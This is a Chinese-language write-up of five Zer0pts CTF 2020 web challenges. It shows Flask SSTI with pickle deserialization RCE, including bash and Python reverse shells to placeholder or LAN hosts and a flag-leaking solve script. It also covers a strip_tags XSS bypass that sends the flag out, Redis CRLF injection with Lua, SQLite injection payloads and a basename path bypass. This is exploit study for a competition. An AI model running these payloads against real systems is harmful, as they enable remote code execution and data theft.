前言


打了Zer0pts CTF 2020感觉题目不错就总结一下。

复现环境地址:

https://gitlab.com/zer0pts/zer0pts-ctf-2020/

0x01 notepad


1.题目源码:

...省略...app = flask.Flask(__name__)
app.secret_key = os.urandom(16)
bootstrap = flask_bootstrap.Bootstrap(app)@app.route('/', methods=['GET'])
def index():return notepad(0)@app.route('/note/<int:nid>', methods=['GET'])
def notepad(nid=0):data = load()if not 0 <= nid < len(data):nid = 0return flask.render_template('index.html', data=data, nid=nid)...省略...@app.errorhandler(404)
def page_not_found(error):""" Automatically go back when page is not found """referrer = flask.request.headers.get("Referer")if referrer is None: referrer = '/'if not valid_url(referrer): referrer = '/'html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)return flask.render_template_string(html), 404def valid_url(url):""" Check if given url is valid """host = flask.request.host_urlif not url.startswith(host): return False  # Not from my serverif len(url) - len(host) > 16: return False # Referer may be also 404return Truedef load():""" Load saved notes """try:savedata = flask.session.get('savedata', None)data = pickle.loads(base64.b64decode(savedata))except:data = [{"date": now(), "text": "", "title": "*New Note*"}]return data
...省略...

2.方法一:

处理404页面的page_not_found()函数存在模板注入:

@app.errorhandler(404)
def page_not_found(error):""" Automatically go back when page is not found """referrer = flask.request.headers.get("Referer")if referrer is None: referrer = '/'if not valid_url(referrer): referrer = '/'html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)return flask.render_template_string(html), 404

referer可控,但是限制了长度。所以利用这里的SSTI可以读取一些配置,但是不能直接RCE。

GET /404 HTTP/1.1
Host: 192.168.0.107:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107:8001/?{{config}}
Connection: close
Upgrade-Insecure-Requests: 1

响应的结果如下:

HTTP/1.0 404 NOT FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 1631
Server: Werkzeug/0.16.0 Python/3.7.3rc1
Date: Wed, 18 Mar 2020 17:25:11 GMT<html><head><meta http-equiv="Refresh" content="3;URL=http://192.168.220.157:8001/?&lt;Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': b'E\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'BOOTSTRAP_USE_MINIFIED': True, 'BOOTSTRAP_CDN_FORCE_SSL': False, 'BOOTSTRAP_QUERYSTRING_REVVING': True, 'BOOTSTRAP_SERVE_LOCAL': False, 'BOOTSTRAP_LOCAL_SUBDOMAIN': None}&gt;"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>

得到的secret_key

为b'E\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea',因此我们可以伪造session的值。

第二个洞是python反序列化:

...
import pickle
...
@app.route('/note/<int:nid>', methods=['GET'])
def notepad(nid=0):data = load()if not 0 <= nid < len(data):nid = 0return flask.render_template('index.html', data=data, nid=nid)
...
def load():""" Load saved notes """try:savedata = flask.session.get('savedata', None)data = pickle.loads(base64.b64decode(savedata))except:data = [{"date": now(), "text": "", "title": "*New Note*"}]return data
...

flask用的是客户端的session,因此这里的pickle.loads()的参数可控。显然,解题的思路就是用上面我们读到的secret_key伪造session,然后触发pickle反序列化,导致RCE。

payload如下:

from flask.sessions import SecureCookieSessionInterface
import os, sys, pickle, base64, requestsCOMMAND = "bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1'"class PickleRce(object):def __reduce__(self):return (os.system,(COMMAND,))class App(object):def __init__(self):self.secret_key = Noneapp = App()
app.secret_key = b'E\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea'si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)session = serializer.dumps({'savedata':base64.b64encode(pickle.dumps(PickleRce()))})requests.get('http://192.168.220.157:8001/note/1', cookies = {'session': session
});

3.方法二:

通常python反序列化可以直接反弹shell:

import os
import pickleclass Exp(object):def __reduce__(self):cmd = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.220.157",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""return (os.system, (cmd,))exp = Exp()
result = pickle.dumps(exp)
print(result)
data=pickle.loads(result)
print(data)

假设题目不能通外网,那么这道题目怎么解决?

在flask中其实也可以在反序列化中再嵌套模板注入来实现直接回显RCE:

class Exp(object):def __reduce__(self):return (render_template_string,("{{payload}}",))

由于题目环境是python3因此我们给出下面的几个python3常用的payload:

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

不过这题还有个问题:

@app.route('/note/<int:nid>', methods=['GET'])
def notepad(nid=0):data = load()if not 0 <= nid < len(data):nid = 0return flask.render_template('index.html', data=data, nid=nid)
```

我们return的render_template_string()是传给了data,然后在传入后面的render_template(),并没有直接让请求结束,返回结果。而render_template_string()是个字符串,在index.html模板里遍历输出:

<ul class="nav nav-list affix">{% for note in data %}<li{% if loop.index0 == nid %} class="active"{% endif %}><a href="/note/{{ loop.index0 }}">{{note.title}}</a></li>{% endfor %}<hr><li><a href="/reset" class="btn btn-danger">Reset All</a></li></ul>

所以我们可以通过这种方式构造回显,结果如下:

由于字符串有多长就会遍历多少次,所以我们的思路是利用显示的长度来进行注入。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("ord(__import__('os').popen('cat flag').read()[0])*'a'") }}{% endif %}{% endfor %}

如果flag的第一个字符是a,就会遍历输出97个<li>。

solve.py:

from flask.sessions import SecureCookieSessionInterface
import os, sys, pickle, base64, requests
from flask import render_template_string
import reclass Exploit(object):def __init__(self, pos):self.temp = """{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("ord(__import__('os').popen('cat flag').read()[pos])*'a'") }}{% endif %}{% endfor %}""".replace('pos', pos)def __reduce__(self):return (render_template_string, (self.temp,))class App(object):def __init__(self):self.secret_key = Noneapp = App()
app.secret_key = b'S^\x94\xa0\x05\xa3\xf4\x91\x052$\xd3\x86gX\xc2'si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)regex=r'<li><a href="/note/(\d+)">.*</a></li>'
flag=''for i in range(0,40):session = serializer.dumps({'savedata': base64.b64encode(pickle.dumps(Exploit(str(i))))})resp=requests.get('http://192.168.220.157:8001/', cookies={'session': session});find=re.findall(regex,resp.text)print(find)if find:flag+=chr(int(find[find.__len__()-1])+1)print(flag)

0x02 MusicBlog


源码里给了个浏览器的bot脚本,worker.js:

// (snipped)const flag = 'zer0pts{<censored>}';// (snipped)const crawl = async (url) => {console.log(`[+] Query! (${url})`);const page = await browser.newPage();try {await page.setUserAgent(flag);await page.goto(url, {waitUntil: 'networkidle0',timeout: 10 * 1000,});await page.click('#like');} catch (err){console.log(err);}await page.close();console.log(`[+] Done! (${url})`)
};// (snipped)

该脚本的功能是设置flag在浏览器的UA里,并且点击id为like的标签。

接下来当我们登陆后我们可以在new_post.php的content字段中插入html标签。

<form action="/new_post.php" method="POST"><div class="form-group"><label for="title">Title</label><input type="text" class="form-control" id="title" name="title"><small class="form-text text-muted">format: <code>/^[0-9A-Za-z ]+$/</code></small></div><div class="form-group"><label for="content">Content</label><textarea class="form-control" id="content" name="content" rows="5"></textarea><small class="form-text text-muted">Note: <code>[[URL]]</code> will be replaced by audio player.</small></div></form>

但是有过滤,只允许<audio>标签。

<?php
// [[URL]] → <audio src="URL"></audio>
function render_tags($str) {$str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);$str = strip_tags($str, '<audio>'); // only allows `<audio>`return $str;
}

而<audio>受以下CSP的限制,无法跨域请求:

<?php
error_reporting(0);require_once 'config.php';
require_once 'util.php';$nonce = get_nonce();
header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types");
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');session_start();

不过我们可以看到上面使用了strip_tags()这个函数,不过这个函数有个bug,参考链接如下:

https://bugs.php.net/bug.php?id=78814

它允许标签里出现斜线,猜测这是为了匹配闭合标签的。但是没有判断斜线的位置,在哪出现都可以:

root@kali:~# php -r "var_dump(strip_tags('<a/udio>','<audio>'));"
string(8) "<a/udio>"

显然<a/udio>在浏览器里会解析成<a>标签,而超链接的跳转不受CSP的限制。

payload如下:

<a/udio id=like href=//xxx.xx/>x

而且我们输入的内容是在第一个点赞按钮的上面,因此bot将会点击我们构造的标签。当bot点击我们构造的标签时,将会把flag带出。最后拿到的flag是:zer0pts{M4sh1m4fr3sh!!}。这题还是比较简单的。

0x03 urlapp


方法一:

题目源码:

...省略...def connect()sock = TCPSocket.open("redis", 6379)if not ping(sock) thenexitendreturn sock
enddef query(sock, cmd)sock.write(cmd + "rn")
enddef recv(sock)data = sock.getsif data == nil thenreturn nilelsif data[0] == "+" thenreturn data[1..-1].stripelsif data[0] == "$" thenif data == "$-1rn" thenreturn nilendreturn sock.gets.stripendreturn nil
enddef ping(sock)query(sock, "ping")return recv(sock) == "PONG"
enddef set(sock, key, value)query(sock, "SET #{key} #{value}")return recv(sock) == "OK"
enddef get(sock, key)query(sock, "GET #{key}")return recv(sock)
endbefore dosock = connect()set(sock, "flag", File.read("flag.txt").strip)
endget '/' doif params.has_key?(:q) thenq = params[:q]if not (q =~ /^[0-9a-f]{16}$/)returnendsock = connect()url = get(sock, q)redirect urlendsend_file 'index.html'
endpost '/' doif not params.has_key?(:url) thenreturnendurl = params[:url]if not (url =~ URI.regexp) thenreturnendkey = Random.urandom(8).unpack("H*")[0]sock = connect()set(sock, key, url)"#{request.host}:#{request.port}/?q=#{key}"
end

功能很简单,就是个URL缩短,用redis作存储。

漏洞也是很明显,url可控,可以通过CRLF注入直接操作redis。

现在我们直接用CRLF注入构造一个完整的url,由于最后会重定向因此可以在自己的服务器上收到flag。

脚本如下:

import requestsurl='http://192.168.220.154:8004/'query = {'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n'}
r = requests.post(url, data=query)
code = r.content[-16:]
print codep1 = "SCRIPT LOAD \"redis.call('APPEND', KEYS[2], redis.call('GET', KEYS[1])); return 1;\"\r\n"
p2 = "EVALSHA 7614be2a5fac38857cd5a98f26d710f988d1b25f 2 flag {}\r\n".format(code)
query = {'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n' + p1 + p2}
r = requests.post(url, data=query)r = requests.get(url + '?q={}'.format(code))# script load "redis.call('APPEND',KEYS[2],redis.call('GET',KEYS[1])); return 1;"
# evalsha 2e6ae1cf12eb9f6554360ede553f0a4bcf8e79ab 2 flag 3bd874b8c5dafc18

结果如下:

Listening on [0.0.0.0] (family 0, port 5478)
Connection from [58.16.191.108] port 5478 [tcp/*] accepted (family 2, sport 36352)
GET /?q=Zer0pts%7Bsh0rt_t0_10ng_10ng_t0_sh0rt%7D HTTP/1.1
Host: xxx.xxx.xxx.xxx:xxxx
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0

如有什么不明白的可以参考下面的链接。

方法二:

跟上面差不多,不过这次我们不用这么麻烦了直接设置一个上面可以get的键在构造一个可以重定向的url即可。

import requestsurl = 'http://192.168.220.154:8004/'query = {'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n'+'eval "redis.call(\'set\',\'e41cf0f94e050661\',\'http://xxx.xxx.xxx.xxx:xxxx?\'..redis.call(\'get\',\'flag\'));return 1;" 0'
}
r = requests.post(url, data=query)
code = r.content[-16:]
print coder=requests.get('http://192.168.220.154:8004/?q=e41cf0f94e050661')
print r.url

结果如下:

Listening on [0.0.0.0] (family 0, port 5478)
Connection from [58.16.191.108] port 5478 [tcp/*] accepted (family 2, sport 36741)
GET /?Zer0pts%7Bsh0rt_t0_10ng_10ng_t0_sh0rt%7D HTTP/1.1
Host: xxx.xxx.xxx.xxx:xxxx
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0

0x04 phpNantokaAdmin


题目简介:

phpNantokaAdmin is a management tool for SQLite.

题目源码:

index.php

<?php
include 'util.php';
include 'config.php';error_reporting(0);
session_start();$method = (string) ($_SERVER['REQUEST_METHOD'] ?? 'GET');
$page = (string) ($_GET['page'] ?? 'index');
...省略...if (in_array($page, ['insert', 'delete']) && !isset($_SESSION['database'])) {flash("Please create database first.");
}if (isset($_SESSION['database'])) {$pdo = new PDO('sqlite:db/' . $_SESSION['database']);$stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name <> '" . FLAG_TABLE . "' LIMIT 1;");$table_name = $stmt->fetch(PDO::FETCH_ASSOC)['name'];$stmt = $pdo->query("PRAGMA table_info(`{$table_name}`);");$column_names = $stmt->fetchAll(PDO::FETCH_ASSOC);
}if ($page === 'insert' && $method === 'POST') {$values = $_POST['values'];$stmt = $pdo->prepare("INSERT INTO `{$table_name}` VALUES (?" . str_repeat(',?', count($column_names) - 1) . ")");$stmt->execute($values);redirect('?page=index');
}if ($page === 'create' && $method === 'POST' && !isset($_SESSION['database'])) {if (!isset($_POST['table_name']) || !isset($_POST['columns'])) {flash('Parameters missing.');}$table_name = (string) $_POST['table_name'];$columns = $_POST['columns'];$filename = bin2hex(random_bytes(16)) . '.db';$pdo = new PDO('sqlite:db/' . $filename);if (!is_valid($table_name)) {flash('Table name contains dangerous characters.');}...省略...$sql = "CREATE TABLE {$table_name} (";$sql .= "dummy1 TEXT, dummy2 TEXT";for ($i = 0; $i < count($columns); $i++) {$column = (string) ($columns[$i]['name'] ?? '');$type = (string) ($columns[$i]['type'] ?? '');if (!is_valid($column) || !is_valid($type)) {flash('Column name or type contains dangerous characters.');}if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {flash('Column name and type must be 1-32 characters.');}$sql .= ', ';$sql .= "`$column` $type";}$sql .= ');';$pdo->query('CREATE TABLE `' . FLAG_TABLE . '` (`' . FLAG_COLUMN . '` TEXT);');$pdo->query('INSERT INTO `' . FLAG_TABLE . '` VALUES ("' . FLAG . '");');$pdo->query($sql);$_SESSION['database'] = $filename;redirect('?page=index');
}
...省略...
if ($page === 'index' && isset($_SESSION['database'])) {$stmt = $pdo->query("SELECT * FROM `{$table_name}`;");if ($stmt === FALSE) {$_SESSION = array();session_destroy();redirect('?page=index');}$result = $stmt->fetchAll(PDO::FETCH_NUM);
}
?>
<!doctype html>
<html lang="en">...省略...<?php if ($page === 'index') { ?>
<?php if (isset($_SESSION['database'])) { ?><h2><?= e($table_name) ?> (<a href="?page=delete">Delete table</a>)</h2><form action="?page=insert" method="POST"><table><tr>
<?php for ($i = 0; $i < count($column_names); $i++) { ?><th><?= e($column_names[$i]['name']) ?></th>
<?php } ?></tr>
<?php for ($i = 0; $i < count($result); $i++) { ?><tr>
<?php for ($j = 0; $j < count($result[$i]); $j++) { ?><td><?= e($result[$i][$j]) ?></td>
<?php } ?></tr>
<?php } ?><tr>
...省略...

util.php

<?php
...省略...function is_valid($string) {$banword = [// comment out, calling function..."[\"#'()*,\\/\\\\`-]"];$regexp = '/' . implode('|', $banword) . '/i';if (preg_match($regexp, $string)) {return false;}return true;
}

首先我们需要了解三个小知识。

第一个:

我们在使用sqlite语法的时候列名是可以加方括号的,是为了和mysql语法兼容。例如:

select [sql] from sqlite_master;

第二个:

我们在使用sqlite_master时使用错误的语法,sqlite将会忽略后面列的名称,无论列的名称是否真实的存在,除非在列之间放置。

create table sometbl (somecol INT);
insert into sometbl values(1);
select somecol from sometbl;
// 1
select somecol somecoaaaal from sometbl;
// 1

第三个:

我们在使用sqlite语法时,用该语句create table ..as select ..创建表时可以不用带括号。例如:

create table sometbl2 as select 2;
select * from sometbl2;
2

通过阅读上面的源代码,我们发现table_name和columns参数存在SQL注入,但是我们不知道flag的表名和列名。每个sqlite都有一个自动创建的库sqlite_master,里面保存了所有表名以及创建表时的create语句。我们可以从中获取到flag的表名和字段名。

利用第三个知识点,在创建表时可以用as来复制另一个表中的数据。这里我们就可以用as select sql from sqlite_master来复制sqlite_master的sql字段。

还有就是,这里拼接的这一串字符是在as后面的,会影响后面的sql正常执行。

因为后面的$column也是可控的,所以这里可以用as "..."来把这一段干扰字符闭合到查询的别名里。双引号被过滤了,在sqlite中可以用中括号[]来代替。

payload如下:

table_name=aaa as select sql as[&columns[0][name]=]from sqlite_master;&columns[0][type]=2

我们将该payload先用post请求该/?page=create路由后创建表aaa和复制数据sql,再用get请求该/?page=index路由后就可以得到sql结果:

得到了表名和列名后,我们用同样的方法复制出flag,payload如下:

table_name=aaa as select flag_2a2d04c3 as[&columns[0][name]=]from flag_bf1811da;&columns[0][type]=2

成功获取flag:

0x05 Can you guess it


题目源码:

index.php

<?php
include 'config.php'; // FLAG is defined in config.phpif (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {exit("I don't know what you are thinking, but I won't let you read it :)");
}if (isset($_GET['source'])) {highlight_file(basename($_SERVER['PHP_SELF']));exit();
}$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {$guess = (string) $_POST['guess'];if (hash_equals($secret, $guess)) {$message = 'Congratulations! The flag is: ' . FLAG;} else {$message = 'Wrong.';}
}
?>
...省略...

通过阅读上面的代码,我们唯一可以利用的点是highlight_file(),它可以用来显示代码,我们的目标是利用它来读取config.php文件,由于flag在里面。但是有一个过滤:

<?php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {exit("I don't know what you are thinking, but I won't let you read it :)");
}

由于'/config\.php\/*$/i'的过滤我们就不能直接用/index.php/config.php?source来显示config.php文件。

我们知道$_SERVER['PHP_SELF']是可控的值,相对于根目录。

上面还有一个比较明显的漏洞就是basename()函数,它会忽略后面的[\x80-\xff]范围内的字符串。例子如下:

php -r 'print(basename("index.php/config.php/\x80"));' // config.php
php -r 'print(basename("\x80index.php/config.php"));' // config.php

结合上面的两点,我们的payload如下:

http://3.112.201.75:8003/index.php/config.php/%80?source

结果如下:

<?php
define('FLAG', 'zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}');

0x06 参考链接


https://balsn.tw/ctf_writeup/20200307-zer0ptsctf/#notepad

https://security.tencent.com/index.php/blog/msg/106

https://www.mi1k7ea.com/2020/03/05/Redis%E5%AE%89%E5%85%A8%E5%B0%8F%E7%BB%93/

http://redisdoc.com/script/eval.html

https://blog.csdn.net/xiaojin21cen/article/details/88621540

Zer0pts CTF 2020的web赛后记录+复现环境相关推荐

  1. crypto-dirty laundry(zer0pts CTF 2020)

    来自 zer0pts CTF 2020 - crypto 636 官方WP感觉有点复杂,根据自己理解进行部分简化. 题目: Do you wanna air my dirty laundry? 源码: ...

  2. 第二届BJD CTF做题总结与题目复现-MISCCrypto

    0x00 前言 上周参加了第二届BJD CTF,本Web dog太垃圾,就做出两道Web.不过还好MISC和Crypto做的还行.那就先总结复现一下.标*表示未作出的 0x01 MISC 这个做的还行 ...

  3. NSSCTF web题记录

    目录 web [GXYCTF 2019]BabyUpload [NISACTF 2022]babyserialize [NISACTF 2022]popchains [NSSRound#4 SWPU] ...

  4. Web服务器记录中查找***踪迹

    信息来源:CSDN.COM.CN 摘要:本文主要讲述如何分析Web服务器记录,在众多记录里查找******的蛛丝马迹,并针对当今流行的两类Web服务器给出具体的一些实例. 现今的网络,安全越来越受到大 ...

  5. ASP.NET Web API 记录请求响应数据到日志的一个方法

    原文:ASP.NET Web API 记录请求响应数据到日志的一个方法 原文:http://blog.bossma.cn/dotnet/asp-net-web-api-log-request-resp ...

  6. CTF之旅WEB篇(3)--ezunser PHP反序列化

    一.审题 对方朝你扔过来一串代码(当然这次又是蹭的题只说过程和思路): <?php highlight_file(__FILE__); class A{public $name;public $ ...

  7. 第一周前端web学习记录

    第一周前端web学习记录 #什么是HTML.CSS? 如何写代码以及在哪里写 vs code 的基本使用方法 浏览器 网站开发 HTML 的结构基础和属性 创建标签 嵌套 HTML标签 设置属性 HT ...

  8. 封神台—高校靶场ctf—第一期Web web_008

    封神台-高校靶场ctf-第一期Web web_008 web_008 php审计 难度:⭐⭐ 首先咱们观察提示获取源码,这时第一想到的就是查看网页源码咱们先点开传送门来看一下题 一个可以提交数据到服务 ...

  9. 封神台——高校靶场ctf——第一期Web web_001

    封神台-高校靶场ctf-第一期Web web_001 web_001 签到 难度:⭐ 首先点击传送门打开相应的题目可以看到 这样一个画面,一个链接不到的反应,但题目以及告诉,F12就完事. 显然答案没 ...

最新文章

  1. SAP QM高阶之检验点(Inspection Point)
  2. php文件上传的经验分享
  3. 无法加载资源,因为“应用程序传输安全性”策略要求使用安全连接
  4. python数学函数_「分享」关于Python整理的常用数学函数整理
  5. Ubuntu配置完全教程
  6. PHP实现高并发下的秒杀功能–Laravel
  7. php create()方法,ThinkPHP中create()方法自动验证实例
  8. 【更新至2.0】cnbeta 根据评论数提取热喷新闻的js脚本
  9. 手把手教你调试Linux C++ 代码(一步到位包含静态库和动态库调试)
  10. Leetcode每日一题:29.divide-two-integers(两数相除)
  11. CF438D The Child and Sequence
  12. webpack配置报错WARNING in DefinePlugin Conflicting values for ‘process.env.NODE_ENV‘
  13. 读书笔记 摘自:《硅谷钢铁侠:埃隆·马斯克的冒险人生》的笔记(作者: 【美】阿什利·万斯)
  14. 用计算机制作多媒体作品小学,小学信息技术六年级上册《多媒体作品制作—古诗欣赏》教案...
  15. java ee 结构图,javaee体系结构图
  16. matlab 股票分时图_matlab画股票走势图 急急急!
  17. 【JAXP】Dom方式解析XML文件
  18. coldfusion_为ColdFusion辩护
  19. R语言图片有中文保存为PDF乱码怎么解决
  20. 星起航:亚马逊卖家利用一件代发模式实现跨境电商飞速发展

热门文章

  1. linux Ubuntu 安装的搜狗双拼输入法只有五笔解决办法附安装教程
  2. 防不胜防:正经AI研究何以变成了计算机生成色情作品?
  3. linux云主机登陆教程,登录linux云服务器的详情步骤
  4. 微信小程序正则表达式截取_微信小程序实现简单input正则表达式验证功能示例...
  5. 第十七章 Spark开发调优原则详述(图解+代码实战)
  6. 凌恩生物明星产品:一文读懂细胞器基因组!
  7. python 百分号调用内置函数_建议你吃透python这68个内置函数!
  8. 硬核分享|探针盒子?不用怕!手把手教你打造专属隐私保护工具
  9. ubantu 安装 mosquitto时 connection refused 的解决办法
  10. 如何让电脑计算机d盘布局,创建MSR分区,解决“由于用户电脑存在一个不支持的用于UEFI固件的硬盘布局,因此系统无法安装”...